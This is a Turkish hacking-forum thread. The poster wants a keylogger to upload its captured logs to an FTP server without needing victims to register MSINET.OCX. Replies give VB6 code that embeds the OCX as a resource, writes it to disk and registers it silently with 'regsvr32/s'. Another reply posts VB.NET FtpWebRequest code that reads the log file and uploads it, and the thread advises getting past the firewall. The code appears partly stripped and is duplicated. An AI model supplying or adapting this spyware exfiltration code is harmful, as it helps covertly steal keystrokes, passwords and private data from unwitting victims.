FTP ye log göndermek istiyorum ama kullandıgım inet fonksiyonu msinet. ocx gerektiriyor e adamlara size keylogger attim alin bu dll olmadan calismaz bunuda size zahmet bi register edin diyecek halim yok.. Kısacası Inet kullanmadan ve herhangi bi dll ye ocx e ihtiyac duymadan nasıl ftp ye baglanip dosya gönderebilirim?

hocam res olarak projene ocxyi ekle Kod: Dim resbytes As Byte resbytes = LoadResData(101, "CUSTOM") Dim no As Byte no = FreeFile Open App. Path & "\MSINET. OCX" For Binary As #no Put #no, , resbytes Close #no On Error Resume Next Shell " regsvr32/s MSINET. OCX" BU işini

ocx yada dll dosyalarını ayrı bir dosya olarak eklemek yerine direk projenin içinde yazman gerekir. kodlarını projene modüle olarak ekle. yada bu işlemi yapan başka bir kodlama kullan. mesela gcd örnek bir kodlama vermiş. direk ftp protokolü ile dosyayı host üzerine atıyor. ama burdada güvenlik duvarı ile karşılaşırsın. ilk önce güvenlik duvarından izin vermen gerekiyor. forumda biraz araştır hepsi mevcut.

bkz: "kardeş senin pc ye keylogger attım inetsiz çalışmıyor bi zahmet register edermisin?"

Kod: ' request hazirliyoruz Dim clsRequest As System. Net. FtpWebRequest = _ DirectCast(System. Net. WebRequest. Create , System. Net. FtpWebRequest) clsRequest. Credentials = New System. Net. NetworkCredential clsRequest. Method = System. Net. WebRequestMethods. Ftp. UploadFile ' log dosyasini okuyoruz Dim bFile As Byte = System. IO. File. ReadAllBytes ' yoksayi yukluyoruz Dim clsStream As System. IO. Stream = _ clsRequest. GetRequestStream clsStream. Write(bFile, 0, bFile. Length) clsStream. Close clsStream. Dispose

' request hazirliyoruz Dim clsRequest As System. Net. FtpWebRequest = _ DirectCast(System. Net. WebRequest. Create , System. Net. FtpWebRequest) clsRequest. Credentials = New System. Net. NetworkCredential clsRequest. Method = System. Net. WebRequestMethods. Ftp. UploadFile ' log dosyasini okuyoruz Dim bFile As Byte = System. IO. File. ReadAllBytes ' yoksayi yukluyoruz Dim clsStream As System. IO. Stream = _ clsRequest. GetRequestStream clsStream. Write(bFile, 0, bFile. Length) clsStream. Close clsStream. Dispose Hepsini görmek için tıklayın... Bunun vb6 için oldugundan eminmisin.. :S